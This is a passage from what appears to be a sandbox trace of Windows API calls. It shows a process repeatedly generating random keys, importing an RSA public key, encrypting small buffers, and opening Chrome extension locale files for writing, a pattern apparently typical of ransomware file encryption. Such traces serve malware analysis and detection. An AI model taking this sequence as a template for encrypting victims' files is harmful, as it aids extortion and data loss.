(hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.992] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.994] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.996] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.996] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.996] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.996] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.998] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b33b8) returned 1 [0238.998] CryptGetKeyParam (in: hKey=0x66b33b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.999] CryptEncrypt (in: hKey=0x66b33b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9de0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9de0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.999] GetLastError () returned 0x0 [0238.999] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.999] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.001] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3578) returned 1 [0239.001] CryptGetKeyParam (in: hKey=0x66b3578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.001] CryptEncrypt (in: hKey=0x66b3578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9df0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9df0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.001] GetLastError () returned 0x0 [0239.001] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.001] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.002] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.006] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.006] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.006] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.009] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.010] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.010] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.010] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.011] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.013] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3178) returned 1 [0239.013] CryptGetKeyParam (in: hKey=0x66b3178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.013] CryptEncrypt (in: hKey=0x66b3178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9e00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.013] GetLastError () returned 0x0 [0239.013] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.013] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.015] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b33f8) returned 1 [0239.015] CryptGetKeyParam (in: hKey=0x66b33f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.015] CryptEncrypt (in: hKey=0x66b33f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9e10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.015] GetLastError () returned 0x0 [0239.015] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.015] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.016] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.018] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.020] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.020] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.020] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.020] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.023] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.024] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.024] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.025] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.027] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b31f8) returned 1 [0239.027] CryptGetKeyParam (in: hKey=0x66b31f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.027] CryptEncrypt (in: hKey=0x66b31f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9e20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.027] GetLastError () returned 0x0 [0239.027] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.027] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.029] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3438) returned 1 [0239.029] CryptGetKeyParam (in: hKey=0x66b3438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.029] CryptEncrypt (in: hKey=0x66b3438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9e30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.029] GetLastError () returned 0x0 [0239.029] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.029] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.030] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.034] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.034] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.034] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.038] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.038] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.038] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.038] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.040] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3478) returned 1 [0239.040] CryptGetKeyParam (in: hKey=0x66b3478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.040] CryptEncrypt (in: hKey=0x66b3478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9e40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.041] GetLastError () returned 0x0 [0239.041] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.041] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.042] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b34b8) returned 1 [0239.042] CryptGetKeyParam (in: hKey=0x66b34b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.042] CryptEncrypt (in: hKey=0x66b34b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9e50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.043] GetLastError () returned 0x0 [0239.043] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.043] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.043] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.046] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.047] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.047] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.047] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.047] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.051] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.051] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.051] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.051] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.053] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b34f8) returned 1 [0239.053] CryptGetKeyParam (in: hKey=0x66b34f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.053] CryptEncrypt (in: hKey=0x66b34f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9e60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.054] GetLastError () returned 0x0 [0239.055] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.055] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.056] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3538) returned 1 [0239.056] CryptGetKeyParam (in: hKey=0x66b3538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.056] CryptEncrypt (in: hKey=0x66b3538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9e70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.057] GetLastError () returned 0x0 [0239.057] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.057] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.058] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.060] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.062] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.062] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.062] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.062] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.064] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.065] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.065] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.065] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.066] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.068] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3a78) returned 1 [0239.068] CryptGetKeyParam (in: hKey=0x66b3a78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.068] CryptEncrypt (in: hKey=0x66b3a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9e80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.068] GetLastError () returned 0x0 [0239.068] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.068] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.070] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3a38) returned 1 [0239.070] CryptGetKeyParam (in: hKey=0x66b3a38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.070] CryptEncrypt (in: hKey=0x66b3a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9e90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9e90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.070] GetLastError () returned 0x0 [0239.070] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.070] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.071] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.075] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.075] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.075] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.075] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.079] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.079] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.079] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.079] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.081] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3ef8) returned 1 [0239.081] CryptGetKeyParam (in: hKey=0x66b3ef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.081] CryptEncrypt (in: hKey=0x66b3ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ea0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9ea0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.082] GetLastError () returned 0x0 [0239.082] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.082] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.083] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b38f8) returned 1 [0239.083] CryptGetKeyParam (in: hKey=0x66b38f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.083] CryptEncrypt (in: hKey=0x66b38f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9eb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9eb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.084] GetLastError () returned 0x0 [0239.084] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.084] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.086] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.088] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.090] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.090] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.090] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.090] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.092] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.094] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.094] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: 